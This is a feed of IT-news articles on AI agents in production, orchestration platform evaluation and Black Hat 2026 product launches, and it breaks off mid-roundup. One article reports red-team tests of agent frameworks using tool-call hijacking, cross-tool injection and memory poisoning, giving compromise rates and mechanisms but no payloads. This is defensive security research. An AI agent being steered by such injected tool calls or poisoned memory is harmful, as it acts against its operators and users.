<p class="wp-block-paragraph">In the infrastructure environments I have worked with, production has always depended on a few basic assumptions. Workloads are tied to applications. Applications have owners. Traffic patterns are reasonably predictable. Change windows are planned. Incident response starts with a known service, a known dependency or a known user action.</p>



<p class="wp-block-paragraph">AI agents challenge each one of those assumptions.</p>



<p class="wp-block-paragraph">An AI agent may initiate work without a human clicking a button. It may call APIs at machine speed, move across systems to complete a task, retry failed actions aggressively or generate unusual traffic patterns that look nothing like a traditional application flow. The individual action may be legitimate, but the operational behavior is different.</p>



<p class="wp-block-paragraph">That is the shift CIOs should pay attention to. The question is not only whether AI can be useful in enterprise operations. The harder question is whether production environments are ready for AI-driven activity that behaves less like an application and more like an autonomous participant in the enterprise.</p>



<h2 class="wp-block-heading">Production was built around predictable workloads</h2>



<p class="wp-block-paragraph">For years, production operations have been built around patterns that are easier to manage because they are relatively stable. A user logs in. An application receives a request. A service calls another service. Monitoring tools evaluate latency, errors, saturation and availability. Incident teams look for deviations from known baselines.</p>



<p class="wp-block-paragraph">This model worked because most production systems had a recognizable shape. Even in complex environments, teams could usually identify the application owner, the expected request flow, the normal volume range and the rollback path when something failed.</p>



<p class="wp-block-paragraph">AI workloads do not always behave that way. A single agent completing a business task may generate a burst of API calls, invoke several backend services, open and close sessions quickly and repeat requests in a pattern that looks abnormal when compared with human activity. From a traditional monitoring perspective, this can look like abuse, instability or an integration defect even when the agent is doing exactly what it was asked to do.</p>



<p class="wp-block-paragraph">The opposite problem is just as serious. If teams relax controls broadly to avoid blocking legitimate AI activity, they may also create room for real abuse to hide inside higher-volume machine traffic. That is not a model issue. It is an operational assumption issue.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST AI Risk Management Framework</a> emphasizes that AI risk must be understood across the full lifecycle of AI systems, including design, deployment, use and evaluation. For CIOs, that lifecycle needs to include production operations, not just model selection or application launch.</p>



<p class="wp-block-paragraph">In practice, this means AI cannot be treated as a normal application feature once it begins triggering workflows, touching data, generating traffic or interacting with operational systems. It becomes part of the production environment. That requires a different level of readiness.</p>



<p class="wp-block-paragraph">I have seen similar transitions before with cloud and automation. The first wave is usually tool-focused. Teams ask what the technology can do. The second wave is operational. Teams discover what the technology changes. AI is entering that second phase now.</p>



<h2 class="wp-block-heading">AI changes incident response and observability</h2>



<p class="wp-block-paragraph">When production breaks, teams need to answer a few basic questions quickly. What changed? What system is affected? What users are impacted? Which dependency is failing? Can we roll back safely?</p>



<p class="wp-block-paragraph">AI makes those questions harder because the cause of an incident may not be a code deployment, infrastructure outage or human-initiated workflow. It may be an agent making a decision that is technically allowed but operationally unexpected.</p>



<p class="wp-block-paragraph">For example, an AI-enabled support workflow might retry a failed backend request repeatedly because it is trying to complete a customer task. A human operator may have stopped after one or two failures. The agent may continue until it exhausts a threshold, creates noise across monitoring systems or triggers downstream rate limits. The failure is not that the agent is malicious. The failure is that production systems were not designed to interpret that behavior correctly.</p>



<p class="wp-block-paragraph">This is where observability becomes critical. Traditional dashboards may show traffic growth, error spikes or latency changes, but they may not explain whether the behavior came from a user, application, script, automation job or AI agent. If those categories are not visible, incident response teams are forced to guess.</p>



<p class="wp-block-paragraph">Google’s <a href="https://sre.google/sre-book/monitoring-distributed-systems/">Site Reliability Engineering guidance on monitoring distributed systems</a> is useful because it frames monitoring around symptoms that require action, not just raw system signals. That distinction becomes even more important when AI-driven workflows introduce new behaviors into production.</p>



<p class="wp-block-paragraph">CIOs should expect AI to change what good observability means. It is no longer enough to monitor infrastructure health and application performance. Teams also need visibility into AI-initiated actions, agent-driven traffic patterns, tool usage, retries, failed task loops and dependency chains.</p>



<p class="wp-block-paragraph">The operational question becomes simple: when an AI system causes a production symptom, can the organization trace the action from the agent to the service to the business impact? If the answer is no, AI is already ahead of the operating model.</p>



<p class="wp-block-paragraph">The <a href="https://github.com/cncf/tag-observability/blob/main/whitepaper.md">CNCF observability whitepaper</a> describes observability as a way to understand complex system behavior from external outputs. That idea applies directly here: AI-driven systems will require observability that explains behavior across workflows, not just infrastructure components.</p>



<h2 class="wp-block-heading">Production readiness needs to change before AI scales</h2>



<p class="wp-block-paragraph">The mistake many organizations make is preparing AI for production without preparing production for AI.</p>



<p class="wp-block-paragraph"><em>“The mistake many organizations make is preparing AI for production without preparing production for AI.”</em></p>



<p class="wp-block-paragraph">A pilot can succeed with limited users, narrow workflows and close supervision. Production is different. Production introduces volume, concurrency, exceptions, outages, retries, partial failures, support queues and business pressure. AI agents will encounter all of that, and they will do so at a speed that traditional operational processes may not be ready to absorb.</p>



<p class="wp-block-paragraph">This is why CIOs should treat AI readiness as a production discipline. Before scaling AI-enabled workflows, teams should define what normal AI activity looks like, what abnormal behavior looks like and what evidence is required to troubleshoot the difference. They should know which systems an agent can touch, how agent traffic is labeled, how rate limits apply, how errors are escalated and how failed workflows are stopped.</p>



<p class="wp-block-paragraph">This is not about slowing AI adoption. It is about preventing production from becoming the testing ground for assumptions that were never validated.</p>



<p class="wp-block-paragraph">The 2024 <a href="https://dora.dev/research/2024/dora-report/">DORA Accelerate State of DevOps Report</a> noted that AI can improve individual productivity while also creating tradeoffs for delivery stability and throughput. That is a useful warning for CIOs: productivity gains do not automatically translate into operational maturity.</p>



<p class="wp-block-paragraph">The organizations that will handle this transition well will not be the ones that simply deploy the most AI tools. They will be the ones that adjust production operations early. That means treating AI activity as something to be observed, tested, limited, measured and supported like any other production workload, but with the added recognition that it may behave differently from traditional software.</p>



<p class="wp-block-paragraph">Capacity planning will also need to change. AI workflows may create irregular demand patterns, especially when agents run multi-step tasks across internal systems. A workload that looks small in a pilot can create meaningful load when hundreds or thousands of users trigger agents throughout the day. The cost impact may appear in compute, API calls, storage, logs, monitoring systems or downstream service usage.</p>



<p class="wp-block-paragraph">Change management will need to account for model behavior, prompt updates, tool integrations and workflow changes. A small update to an agent’s instructions may alter how it calls systems, how often it retries, which APIs it uses or how it handles exceptions. In production, that is not merely a content update. It is an operational change.</p>



<p class="wp-block-paragraph">Rollback planning will also need to evolve because reverting an AI-enabled workflow may involve more than restoring application code. It may require disabling agent actions, reverting prompts or temporarily removing tool integrations while preserving business continuity.</p>



<p class="wp-block-paragraph">Incident response will need clearer playbooks. Teams should know how to pause an agent, isolate a workflow, disable a tool integration, reduce task volume or route activity back to human handling when production behavior becomes unsafe or unstable.</p>



<p class="wp-block-paragraph">The larger point is that AI is not just entering the enterprise as another user-facing capability. It is entering the operating fabric of the enterprise. That makes it a CIO concern, not only an AI team concern.</p>



<p class="wp-block-paragraph">Every major technology shift eventually becomes an operational discipline rather than a technology project. AI is reaching that point now. Organizations that recognize this early will be better positioned to scale AI with confidence instead of discovering its operational consequences through production incidents. The next challenge for CIOs is not deploying AI. It is preparing production environments for how AI actually behaves.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Five ways to evaluate AI agent orchestration platforms]]></title>
<description><![CDATA[AI agent orchestration platforms coordinate role-based and task-based AI agents, along with the tools, data, and people they depend on, into multistep workflows. These platforms are highly important for organizations scaling from handfuls to thousands of AI agents running in production.  



Two ...]]></description>
<link>https://tsecurity.de/de/3705417/ai-nachrichten/five-ways-to-evaluate-ai-agent-orchestration-platforms/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705417/ai-nachrichten/five-ways-to-evaluate-ai-agent-orchestration-platforms/</guid>
<pubDate>Wed, 05 Aug 2026 11:39:47 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AI agent orchestration platforms coordinate role-based and task-based AI agents, along with the tools, data, and people they depend on, into multistep workflows. These platforms are highly important for organizations scaling from handfuls to thousands of AI agents running in production.  </p>



<p class="wp-block-paragraph">Two open standards do the connective work: <a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">MCP</a> (Model Context Protocol) gives agents governed access to tools and data, while <a href="https://www.infoworld.com/article/4088217/what-is-a2a-how-the-agent-to-agent-protocol-enables-autonomous-collaboration.html">A2A</a> (Agent2Agent) lets agents discover and delegate to one another, including agents built on other platforms. The orchestration layer sits on top, adding the routing, shared state, guardrails, governance, security, and observability needed to run workflows that range from fully autonomous to human-in-the-loop.</p>



<p class="wp-block-paragraph">AI orchestration platforms may be the hottest AI technology of the year. In researching this article, I identified <a href="https://drive.starcio.com/research/ai-agent-orchestration-platforms/">more than 60 commercial and open source platforms</a> that businesses can use as a control plane to manage work between AI agents, people, and automations.</p>



<p class="wp-block-paragraph">Like <a href="https://www.infoworld.com/article/4182695/develop-smarter-ai-agents-with-data-fabrics.html">data fabrics</a> and <a href="https://www.infoworld.com/article/3476848/how-to-choose-the-right-low-code-no-code-or-process-automation-platform.html">automation platforms</a>, I suspect enterprises will utilize more than one AI agent orchestration platform. Platforms are being released by hyperscalers and solution providers in enterprise SaaS, process automation, customer experience, data management, AIops, and IT infrastructure. Development-centric platforms include open source, commercial, and no-code integration solution providers.</p>



<p class="wp-block-paragraph">Here are five considerations when reviewing AI agent orchestration platforms.</p>



<h2 class="wp-block-heading">1. Observable control, oversight, and trust</h2>



<p class="wp-block-paragraph">AI agent orchestration platforms are non-deterministic and leverage AI capabilities to coordinate responses and actions across AI agents. One area to evaluate is how administrators implement controls and guardrails over which AI agents can coordinate with others and under what circumstances. Additionally, platforms should also have controls on when and where people should be involved before taking action.</p>



<p class="wp-block-paragraph">“CIOs should focus on how the AI orchestration platform clearly applies controls over autonomous decision-making,” says Heather Richards, global vice president of go-to-market strategy at <a href="https://www.verint.com/">Verint</a>. “Ideally, the platform makes it easy to define who or what can take actions, how decisions are approved, and where accountability sits when something goes wrong. If orchestration doesn’t have built-in governance, visibility, and human override, it will scale risk faster than it scales value.”</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4140832/7-safeguards-for-observable-ai-agents.html">Observable AI agents</a> are primary capabilities for tracing how they interact and where decisions are made. But even more important is to review how platforms govern access to the <a href="https://drive.starcio.com/2026/06/data-management-debt-ai-era-cios/">context layer</a>, which can include <a href="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html">retrieval-augmented generation (RAG)</a> for language models, <a href="https://drive.starcio.com/podcast/the-cost-of-tribal-knowledge-losing-people-can-bring-ops-to-a-standstill/">knowledge graphs</a>, and <a href="https://enterprise-knowledge.com/what-is-a-semantic-layer-components-and-enterprise-applications/">semantic layers</a>.</p>



<p class="wp-block-paragraph">“When evaluating an AI orchestration platform, organizations should consider whether governance and observability were built into the architecture from day one,” says Caitlin Schuman, director of AI strategy and customer innovation at <a href="https://www.presidio.com/">Presidio</a>. “A strong platform should make it clear what context is being used and should have a control layer that routes work across systems, agents, and humans.”</p>



<p class="wp-block-paragraph"><a href="https://drive.starcio.com/2025/10/creating-responsible-trustworthy-ai-agents/">Deploying trustworthy AI agents</a> is important for gaining employee adoption. Charles Crouchman, chief product officer at <a href="https://www.redwood.com/">Redwood Software</a>, suggests evaluating how an AI agent orchestration platform establishes trustworthy operations with enterprise resources. He recommends asking these five questions:</p>



<ul class="wp-block-list">
<li>Can it connect to the systems actually running your business?</li>



<li>Can it be trusted to execute mission-critical logic across your ERP, supply chain, and finance platforms?</li>



<li>Does it provide deterministic guardrails for non-deterministic AI, so agents can’t go rogue in production?</li>



<li>Is it model-agnostic, so you’re not locked into a single LLM or agent framework as the landscape shifts?</li>



<li>Can you govern at scale with full audit trails, observability, and accountability?</li>
</ul>



<p class="wp-block-paragraph">“Validating these answers moves you from disconnected AI  reasoning to real execution, empowering you to take the next step towards an autonomous enterprise,” says Crouchman.</p>



<h2 class="wp-block-heading">2. Secure and resilient operations</h2>



<p class="wp-block-paragraph">AI agent orchestration platforms centralize a growing number of operational workflows, so it’s important to evaluate whether their security, performance, reliability, and resiliency meet compliance and <a href="https://www.infoworld.com/article/4061123/how-to-write-nonfunctional-requirements-for-ai-agents.html">non-functional requirements</a>.  </p>



<p class="wp-block-paragraph">“Deploying agents is the easy part; the hard part is ensuring they operate safely, consistently, and in coordination with the people and systems around them,” says Daniel Meyer, CTO at <a href="https://camunda.com/">Camunda</a>. “Orchestration platforms should enforce controls between an agent’s decision and its action, handle long-running processes without losing state, and maintain a full audit trail natively.”</p>



<p class="wp-block-paragraph">Organizations should also consider how platforms support <a href="https://www.infoworld.com/article/4100507/5-key-agenticops-practices-to-start-building-now.html">agentic ops practices</a> for identity management, monitoring, AI agent accuracy, and incident management.</p>



<p class="wp-block-paragraph">“Don’t just seek solutions that coordinate workflow or handle the life cycle of an agent; also seek solutions that get the answers agents need faster, with more accuracy, all while meeting essential security and compliance requirements,” says James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>. “A platform that securely coordinates context gathering and result formulation across widely disparate infrastructures and data sources is essential, not only to the performance of AI in the enterprise, but also to its agility.”</p>



<h2 class="wp-block-heading">3. Integrated testing and feedback</h2>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4086884/how-to-automate-the-testing-of-ai-agents.html">Testing AI agents</a> requires validating changes before deployment, just as with <a href="https://www.infoworld.com/article/3705049/3-ways-to-upgrade-continuous-testing-for-generative-ai.html">continuous testing</a> for applications and APIs. But it also requires evaluating prompts, responses, and actions in production and ensuring that agents aren’t drifting from expected parameters or <a href="https://drive.starcio.com/2025/07/rogue-ai-agents-cios-govern-agentic-ecosystem/">going rogue</a>. One area in which AI agent orchestration platforms differ is how they support testing AI agents, monitoring them in production, and providing a centralized source of feedback to support accuracy improvements.</p>



<p class="wp-block-paragraph">“When selecting an AI orchestration platform, don’t overlook where the software it produces actually gets tested and validated,” says Jean-Philippe LeBlanc, senior vice president of engineering at <a href="https://circleci.com/">CircleCI</a>. “AI can accelerate every stage of development, but without rigorous, automated validation integrated into the delivery pipeline, you’re compounding risk at the same rate you’re compounding velocity.”</p>



<p class="wp-block-paragraph">Armando Franco, senior director of cloud and platform modernization at <a href="https://www.teksystems.com/en/it-and-business-services">TEKsystems Global Services</a>, says, “The criterion that actually matters is whether continuous outcome evaluation is a first-class capability of the platform itself, because without it, iteration speed collapses and the program stalls.”</p>



<h2 class="wp-block-heading">4. Interoperability and open standards</h2>



<p class="wp-block-paragraph">MCP and A2A are two ways AI agent orchestration platforms support open standards and enable connecting to an ecosystem of agents. Many platforms also allow developers to select and replace the underlying AI models and to choose from a range of <a href="https://www.infoworld.com/article/4032989/a-developers-guide-to-code-generation.html">AI code-generation tools</a>. These flexibilities ensure teams can optimize around performance, accuracy, compliance, costs, and other future considerations.</p>



<p class="wp-block-paragraph">“When evaluating an AI orchestration platform, we look first at composability and interoperability,” says Rajesh Arora, chief data and analytics officer at <a href="https://www.principal.com/">Principal</a>. “The real test is not how many features it offers today, but whether it can connect models, data sources, agentic solutions, and workflows in a way that adapts to our AI strategy, tech stack, and changing business needs.”</p>



<p class="wp-block-paragraph">Other interoperability criteria to review include the platform’s AI agent cataloging capabilities, how permissions are configured dynamically, and whether prebuilt connectors are available for the required integrations.</p>



<h2 class="wp-block-heading">5. Vendor viability and road map</h2>



<p class="wp-block-paragraph">Leaders recognize that <a href="https://drive.starcio.com/2026/04/ai-reshaping-business-not-digital-transformation-yet/">AI is currently reshaping business more than driving transformation</a>. To be successful, organizations require <a href="https://www.infoworld.com/article/3855572/how-to-develop-a-well-rounded-ai-governance-strategy.html">AI governance that keeps up with strategy</a> and doesn’t lag too far behind. The same is true for AI agent orchestration platforms, so it’s important to review their release notes and road maps to see whether providers strike a reasonable balance between innovation and governance.</p>



<p class="wp-block-paragraph">“The right orchestration platform provides a unified policy layer that follows work across agents, workflows, and AI tools, enabling your teams to build freely while IT and security maintain full visibility at the action and output levels,” says Brandon Sammut, chief people and AI transformation officer at <a href="https://zapier.com/">Zapier</a>. “If your governance can’t keep pace with how fast your people are building, you’ll either slow them down or lose sight of what they’re building.”</p>



<p class="wp-block-paragraph">Since AI agent orchestration platforms are a new category, technology leaders should partner with their financial, legal, and compliance colleagues to assess vendor viability risks. In addition, reviewing customer adoption and support capabilities is important as top solution providers will continue to evolve their platforms.   </p>



<p class="wp-block-paragraph">“A mature provider offers both a stable platform and the customer support you’ll need, and with a large customer base, they’ve already hit countless edge cases that can smooth your own implementation,” says Hannes Hapke, director of the 575 Lab at <a href="https://www.dataiku.com/">Dataiku</a>. “Assess maturity by looking at funding and financial backing, the clarity and consistency of their public road map, and the size and activity of their community. An engaged user base, active forums, and a healthy ecosystem of integrations all signal a provider that will still be standing when you scale.”</p>



<p class="wp-block-paragraph">Many organizations are still early in adopting AI agents and <a href="https://drive.starcio.com/2026/02/why-chaotic-ai-experiments-arent-producing-business-value/">transitioning proofs of concept into production</a>. But for those deploying a growing number of AI agents across many platforms, selecting an AI agent orchestration platform enables scaling workflows, operations, and governance. </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Your orchestration framework choice is a security decision, not just an engineering one]]></title>
<description><![CDATA[Comparisons of LangChain, CrewAI and AutoGen are easy to find — dozens of guides this year cover the same ground: developer experience, ecosystem maturity, how easy it is to wire up multi-agent workflows. None of them ask the question I actually care about: does the framework you pick change how ...]]></description>
<link>https://tsecurity.de/de/3705335/it-security-nachrichten/your-orchestration-framework-choice-is-a-security-decision-not-just-an-engineering-one/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705335/it-security-nachrichten/your-orchestration-framework-choice-is-a-security-decision-not-just-an-engineering-one/</guid>
<pubDate>Wed, 05 Aug 2026 11:10:42 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Comparisons of LangChain, CrewAI and AutoGen are easy to find — dozens of guides this year cover the same ground: developer experience, ecosystem maturity, how easy it is to wire up multi-agent workflows. None of them ask the question I actually care about: does the framework you pick change how easily your agent gets compromised?</p>



<p class="wp-block-paragraph">I ran the test. The answer is yes, by a wide margin, and it’s not something I’ve seen reflected in the public comparison guides.</p>



<p class="wp-block-paragraph">A quick definition, since this matters for what follows: an orchestration framework is the software layer that sits between the underlying AI model and the outside world — it decides how the agent plans its steps, when it calls a tool or API, how it remembers information across a task and how much it can act on its own before checking back in. The model does the reasoning. The framework decides what that reasoning is allowed to do and how. LangChain, CrewAI and AutoGen are three of the most widely used examples.</p>



<h2 class="wp-block-heading"><a></a>The setup</h2>



<p class="wp-block-paragraph">I built an evaluation harness that runs the same set of adversarial payloads — tool call hijacking, cross-tool injection, memory poisoning, delegated authority abuse and several other attack classes — against AI agents. The full methodology and dataset are <a href="https://github.com/jbdu94/SADF">open-sourced on GitHub</a> if you want to dig into the specifics. To isolate what actually drives compromise rate, I held the model constant. Same model, every time. The only thing that changed was which orchestration framework was wrapping it: CrewAI, LangChain, AutoGen and SmolAgents.</p>



<p class="wp-block-paragraph">If frameworks were just interchangeable wiring around the same underlying model, compromise rates across all four should land in roughly the same range. They didn’t.</p>



<h2 class="wp-block-heading"><a></a>What actually happened</h2>



<p class="wp-block-paragraph">Across thousands of adversarial test runs, holding the model constant, the compromise rate ranged from 11.9% on the most resistant framework to 31.1% on the least — a 2.6x spread, from framework choice alone. Nothing about the model changed between those numbers. Nothing about the attacks changed. The only variable was which framework was orchestrating the agent’s tool calls, memory, and multi-step reasoning.</p>



<p class="wp-block-paragraph">That’s not a rounding difference. That’s the gap between a security posture your team might reasonably accept and one that should trigger a serious conversation before you ship.</p>



<p class="wp-block-paragraph">Figure 1 shows the mechanism in simplest form: the same model, split across a tighter framework and a looser one, lands at a meaningfully different compromise rate — exactly what these numbers confirm.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="494" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Figure 1: Model vs. framework</figcaption></figure><p class="imageCredit">Julie Brunias</p></div>



<h2 class="wp-block-heading"><a></a>Why this happens</h2>



<p class="wp-block-paragraph">Orchestration frameworks aren’t neutral plumbing. Each one makes real architectural decisions about how tool calls get validated, how much context gets shared between reasoning steps, how memory persists across a task and how much autonomy the agent has to chain actions without checking back in. Those decisions are made by the framework’s design, not by the model underneath it, and they directly shape how much room an attacker has to work with.</p>



<p class="wp-block-paragraph">A framework that validates tool calls more strictly, or that segments memory more conservatively, closes off attack paths that a more permissive framework leaves wide open — regardless of which model is doing the reasoning. The model generates the decisions. The framework controls how much autonomy the agent has to act on those decisions, and where the checks sit along the way.</p>



<p class="wp-block-paragraph">Concretely: a framework that requires every tool call to pass through an explicit schema check before execution gives an attacker far less room to smuggle a malicious parameter through than a framework that lets the model call a tool directly off its own generated text. That single design choice, made by the framework’s authors long before your team ever touched it, is the kind of thing that produces a 2.6x difference in outcome without a single line of your own code changing.</p>



<h2 class="wp-block-heading"><a></a>The gap in the market</h2>



<p class="wp-block-paragraph">Every framework comparison I found treats security as one bullet point among many. Guides from sites like <a href="https://bestarion.com/us/langchain-vs-autogen-vs-crewai/">Bestarion</a>,  <a href="https://atlan.com/know/ai-agents-frameworks-compared/">Atlan</a>,  <a href="https://www.moxo.com/blog/agentic-ai-framework-comparison">Moxo</a>,  <a href="https://cordum.io/blog/ai-agent-frameworks-comparison">Cordum</a> and  <a href="https://www.instinctools.com/blog/autogen-vs-langchain-vs-crewai/">Instinctools</a> compare LangChain, CrewAI, and AutoGen on ecosystem maturity, memory handling and human-in-the-loop support — useful ground, but none of them run an actual adversarial test and report a measured attack-success difference. It isn’t part of the public comparison conversation, and teams researching “which framework should we use” today won’t find this data point in the guides that currently rank at the top of that search.</p>



<h2 class="wp-block-heading"><a></a>What this means practically</h2>



<p class="wp-block-paragraph">If your team is choosing between orchestration frameworks for a new agentic system, the security question deserves the same weight as the developer experience question, not an afterthought once the choice is made. A few things worth doing before you commit:</p>



<ul class="wp-block-list">
<li><strong>Treat security claims about a framework with the same skepticism you’d apply to a vendor’s marketing.</strong> Feature documentation tells you what a framework claims to do. It doesn’t tell you how it holds up against tool call hijacking or memory poisoning specifically — that only comes from actually running adversarial tests against it yourself, or finding someone who has.</li>



<li><strong>Don’t assume your model’s safety training carries over uniformly.</strong> A well-aligned model wrapped in a framework that gives an attacker more room to maneuver can still end up with a meaningfully worse real-world compromise rate than the same model in a tighter framework.</li>



<li><strong>If you’re already deployed, test what you have, not what you’re planning to migrate to.</strong> Retrofitting security after the framework choice is made is possible, but knowing where your specific setup falls on this spectrum tells you how urgently that work needs to be done.</li>
</ul>



<h2 class="wp-block-heading"><a></a>The bigger point</h2>



<p class="wp-block-paragraph">Security conversations about AI agents tend to focus heavily on the model — which one is safest, which one refuses the most jailbreak attempts. That’s an incomplete picture. The orchestration layer sitting on top of the model is doing real security-relevant work, whether anyone designed it that way or not, and the public comparison guides I’ve found don’t give teams any data on how that layer performs under attack.</p>



<p class="wp-block-paragraph">The model is not the whole attack surface. Increasingly, it isn’t even the most variable part of it. If your team is mid-decision on a framework right now, or has already shipped one without ever testing it this way, that’s the conversation worth having this week, not after the next incident makes it unavoidable.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[MasterCraft brings CarPlay and Android Auto to its pontoon boats]]></title>
<description><![CDATA[If you're searching for an on-water nav app that also includes tunes, WhatsApp and other apps, there's finally a solution.]]></description>
<link>https://tsecurity.de/de/3705301/it-nachrichten/mastercraft-brings-carplay-and-android-auto-to-its-pontoon-boats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705301/it-nachrichten/mastercraft-brings-carplay-and-android-auto-to-its-pontoon-boats/</guid>
<pubDate>Wed, 05 Aug 2026 11:02:55 +0200</pubDate>
<content:encoded><![CDATA[If you're searching for an on-water nav app that also includes tunes, WhatsApp and other apps, there's finally a solution.]]></content:encoded>
</item>
<item>
<title><![CDATA[The top new cybersecurity products at Black Hat USA 2026]]></title>
<description><![CDATA[Black Hat 2026 is shaping up to be another AI-heavy conference, but this year’s announcements suggest the industry is moving beyond simply adding copilots to existing products.



Vendors are increasingly packaging AI into operational workflows, while pairing automation with governance, exposure ...]]></description>
<link>https://tsecurity.de/de/3705199/it-security-nachrichten/the-top-new-cybersecurity-products-at-black-hat-usa-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705199/it-security-nachrichten/the-top-new-cybersecurity-products-at-black-hat-usa-2026/</guid>
<pubDate>Wed, 05 Aug 2026 10:02:41 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://blackhat.com/us-26/" target="_blank" rel="noreferrer noopener">Black Hat 2026</a> is shaping up to be another AI-heavy conference, but this year’s announcements suggest the industry is moving beyond simply adding copilots to existing products.</p>



<p class="wp-block-paragraph">Vendors are increasingly packaging AI into operational workflows, while pairing automation with governance, exposure management, and recovery capabilities aimed at making autonomous security more practical for enterprise environments.</p>



<p class="wp-block-paragraph">Across this year’s launches, several themes stand out. Security vendors emphasize attack path analysis over raw vulnerability counts, integrating external threat intelligence directly into security and recovery workflows, and introducing purpose-built AI agents that promise to accelerate investigations without forcing customers to replace existing infrastructure.</p>



<p class="wp-block-paragraph">Below is a running list of the announcements that stood out.</p>



<h2 class="wp-block-heading">ArmorCode adds AI agents for vulnerability remediation</h2>



<p class="wp-block-paragraph">ArmorCode expanded its Agentic Control Plane with four new Anya AI agents and enhanced Context Risk Graph capabilities designed to help organizations prioritize and remediate vulnerabilities based on “real business risk” rather than raw CVE volume.</p>



<p class="wp-block-paragraph">The new capabilities introduce attack path analysis, network reachability mapping, patch management integration, and support for compensating controls such as <a href="https://www.csoonline.com/article/566615/what-is-a-waf-12-top-web-application-firewalls-compared.html">WAFs</a> and <a href="https://www.csoonline.com/article/568045/what-is-edr-endpoint-detection-and-response.html">EDR</a> platforms. The company says the new AI agents can investigate exploitability, recommend mitigations, assess cloud exposures, and orchestrate patch rollouts while reusing shared security context to reduce redundant AI analysis and operational costs.</p>



<h2 class="wp-block-heading">Cribl turns telemetry into AI observability</h2>



<p class="wp-block-paragraph">Cribl introduced a new AI Observability application alongside expanded detection engineering capabilities and stream-native detections. The AI Observability app promises enterprises visibility into AI model usage, token consumption, spending, and potential sensitive data exposure using telemetry they already collect.</p>



<p class="wp-block-paragraph">The company also enhanced its detection engineering capabilities through its CardinalOps acquisition by mapping detections to <a href="https://www.csoonline.com/article/574167/the-changing-role-of-the-mitre-att-ck-framework.html">MITRE ATT&amp;CK</a>, identifying coverage gaps, and applying AI-assisted workflows, while new stream-native detections aim to identify high-confidence threats directly from telemetry in motion without requiring another data platform.</p>



<h2 class="wp-block-heading">CommVault brings Google Threat Intelligence into recovery workflows</h2>



<p class="wp-block-paragraph">CommVault announced an integration between its Threat Scan and Google Threat Intelligence to help organizations identify clean recovery points after cyberattacks.</p>



<p class="wp-block-paragraph">The integration combines Google’s threat intelligence with CommVault’s backup validation workflows, while new inline file hash collection allows recovery points to be checked against threat indicators during backup operations. The company says the layered approach enables customers to validate recovery points faster before performing deeper malware or forensic analysis and strengthens its AI-enabled Synthetic Recovery capability. Availability is expected in the coming months.</p>



<h2 class="wp-block-heading">SOCRadar focuses on identity exposure intelligence</h2>



<p class="wp-block-paragraph">SOCRadar is introducing People Intelligence, a new identity-focused offering within its Extended Threat Intelligence (XTI) platform.</p>



<p class="wp-block-paragraph">The capability aggregates breached credentials, stealer logs, personally identifiable information, attacker telemetry, and other external identity exposure data into unified analyst records, allowing investigators to prioritize identity risks without integrating internal HR and IAM systems. Automated risk scoring and consolidated identity context are intended to reduce manual correlation work during investigations.</p>



<h2 class="wp-block-heading">Arctic Wolf doubles down on cyber resilience</h2>



<p class="wp-block-paragraph">Arctic Wolf unveiled a new Cyber Resilience offering that bundles managed detection and response, exposure management, endpoint protection, incident response, and up to $3 million in warranty protection into a single package. The offering is available immediately through Arctic Wolf and its partner ecosystem.</p>



<p class="wp-block-paragraph">Separately, Arctic Wolf also highlighted new milestones for its Aurora Agentic SOC, including processing more than 10 trillion security events per week, introducing a new Mean Time to Trusted Action (MTTA) metric, expanding its Swarm of Experts architecture, and enhancing customer visibility through updates to the Arctic Wolf Portal.</p>



<p class="wp-block-paragraph">Additionally, the company announced a partner-focused Cyber AI Readiness Accelerator that combines Aurora Attack Surface Management with consulting and remediation services from channel partners. The 30-day assessment is designed to help organizations inventory exposed assets, identify attack paths, prioritize remediation, and establish broader cyber resilience programs.</p>



<h2 class="wp-block-heading">Crogl pushes sovereign AI for the SOC</h2>



<p class="wp-block-paragraph">Crogl announced general availability of its Enterprise AI SOC Agent as a free download. Designed to run inside customer-controlled environments, including on-premises and air-gapped deployments, the autonomous investigation platform integrates with existing security tools without requiring new data pipelines or schema normalization. Crogl says the platform investigates alerts, performs threat hunts, documents investigative steps, and generates reports while allowing organizations to keep security data within their own infrastructure.</p>



<h2 class="wp-block-heading">Tanium expands autonomous security platform</h2>



